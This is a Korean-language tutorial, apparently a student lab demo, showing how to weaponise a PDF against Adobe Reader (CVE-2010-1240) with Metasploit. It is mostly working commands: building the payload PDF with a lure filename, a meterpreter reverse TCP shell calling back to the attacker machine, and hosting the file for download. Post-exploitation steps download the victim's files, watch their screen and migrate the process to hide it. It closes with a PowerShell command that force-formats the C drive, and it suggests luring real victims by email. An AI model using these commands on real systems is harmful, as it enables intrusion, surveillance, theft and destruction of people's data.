
이 데모 비디오는 겉으로는 무해해 보이는 PDF 파일에 실제로는 내장된 페이로드가 포함되어 있어 이를 대상에게 전송함으로써 피해자의 장치를 제어할 수 있는 방법을 보여줍니다. 해당 익스플로잇은 CVE-2010-1240으로 공개되었습니다.
제공
이 데모 비디오는 실제로 임베디드 페이로드가 포함된 무해해 보이는 PDF 파일을 대상에게 전송하여 피해자의 장치를 제어할 수 있는 방법을 보여줍니다. 이 익스플로잇은 CVE-2010-1240으로 공개되었습니다.
PDF가 Adobe Reader에서 열리면, 우리에게 속아 보안 팝업에 동의한 사용자들은 역방향 TCP 연결을 통해 자신의 장치에 연결된 meterpreter 세션을 우리가 획득하도록 허용합니다. 그때까지 그들의 모든 데이터와 그들이 지금 하고 있는 모든 것은 우리의 감시 아래에 있습니다.

먼저, Metasploit 프레임워크에 접근할 수 있는 명령줄 인터페이스를 제공하는 MSFconsole을 실행합니다.
msfconsole
그런 다음, 대상 Windows 플랫폼과 Adobe PDF Reader에 일치하는 익스플로잇을 검색합니다. 그러면 피해자의 Windows 머신을 하이재킹하고 Adobe PDF Reader 취약점을 익스플로잇하는 데 사용할 수 있는 전체 익스플로잇 목록이 표시됩니다.
search type:exploit platform:windows adobe pdf
이 익스플로잇에서는 아래 명령을 사용하여 'adobe_pdf_embedded_exe' 모듈을 선택하고 사용하여 피해자를 하이재킹하는 목표를 달성합니다.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
아래와 같이 'info' 명령을 사용하여 익스플로잇의 정보를 확인할 수도 있습니다.
info
그런 다음, 역방향 TCP 연결을 사용하도록 페이로드를 설정합니다. 또한 피해자의 머신을 탐색하기 위해 코드를 삽입하고 실행하여 다양한 기능을 쉽게 사용할 수 있는 대화형 셸을 제공하는 Meterpreter를 사용합니다.
set payload windows/meterpreter/reverse_tcp
그런 다음, 수신 호스트와 포트를 설정합니다. LHOST의 경우 공격자 머신의 IP 주소를 입력해야 하며, 이 경우 Kali 머신의 IP 주소(10.0.2.4)*입니다.
*참고
한편 LPORT는 일반적으로 사용되지 않는 포트 번호를 설정하는 것은 우리에게 달려 있습니다.
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
그런 다음, INFILENAME* 플래그를 사용하여 PDF의 기본이 될 입력 파일을 설정합니다. 다음으로, 피해자가 악성 PDF 파일을 열도록 관심을 끌 수 있는 파일명을 설정합니다.
*참고
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
'exploit' 명령을 입력하여 PDF와 함께 페이로드를 생성하기 전에 옵션을 다시 볼 수 있습니다.
# Then we can show the info or options by
show info | show options
exploit
PDF 파일 생성이 완료되면 파일을 /var/www/html로 이동합니다. 이 디렉토리는 Kali 머신의 웹 애플리케이션 서버를 호스팅하는 디렉토리로, 나중에 피해자가 PDF 파일을 다운로드할 수 있도록 합니다.
참고:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
그런 다음 리스너를 설정하기 위해 'exploit/multi/handler'를 사용합니다. 다시 페이로드, LHOST, LPORT를 악성 PDF 파일 생성 시 정의한 것과 일치하도록 설정합니다. 그런 다음 페이로드를 실행합니다.
참고:
show info 또는 show options는 선택적으로 실행할 수 있는 명령입니다.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
다른 터미널에서 Apache 서버의 상태를 확인하여 /var/www/html에서 PDF 파일을 호스팅하여 피해자가 파일을 다운로드할 수 있도록 실행 중인지 확인합니다.
service apache2 status
# If it is inactive, start the service
service apache2 start
Windows 머신에서 Chrome 브라우저와 같은 브라우저를 열고 Kali의 IP (10.0.2.4)*를 입력하여 Kali 머신의 웹 애플리케이션 서버에 접속합니다.
*참고: 자신의 Kali 머신 IP 주소를 확인하세요
그런 다음 사용자가 의도한 PDF 파일을 저장하는 흉내를 냅니다.
피해자가 Adobe Reader 8.1.2에서 파일을 열고 보안 메시지 프롬프트를 수락하면 Kali 머신에서 역방향 TCP 연결을 통해 새 세션이 연결된 것을 관찰할 수 있습니다.
실제 시나리오에서는 임베디드 페이로드 PDF가 포함된 웹사이트를 설정하여 피해자가 이메일을 통해 파일을 다운로드하거나 첨부하도록 합니다.
그런 다음 피해자의 머신에 원격으로 접속하여 meterpreter 세션에서 원하는 더 많은 악의적인 행동을 수행할 수 있습니다.
help
pwd
ls
예를 들어, password.txt라는 파일이 있는 경우 download password.txt 명령을 실행할 수 있습니다.
download [folder name | filename with extension]
물론, 우리가 정말 사악하다면 Windows 머신에 계속 연결할 수 있도록 악성 스크립트(백도어 심기)를 작성할 수 있습니다! 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
그러나 공격자는 meterpreter 세션에서 migrate 모듈을 사용하여 meterpreter 프로세스를 다른 프로세스로 마이그레이션함으로써 의심을 줄일 수 있습니다.
meterpreter> run post/windows/manage/migrate
여기서는 자동으로 피해자 머신에서 마이그레이션할 새 프로세스를 생성합니다. 그러면 피해자는 감염된 PDF 파일을 삭제할 수 있지만, 프로세스가 이미 다른 곳으로 이동했다는 사실을 전혀 인지하지 못합니다.
공격자는 명령 프롬프트(cmd) 또는 PowerShell을 사용하여 대상 머신에 악성 스크립트를 추가로 생성하여 전체 운영 체제가 제대로 작동하지 않도록 할 수 있습니다.
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false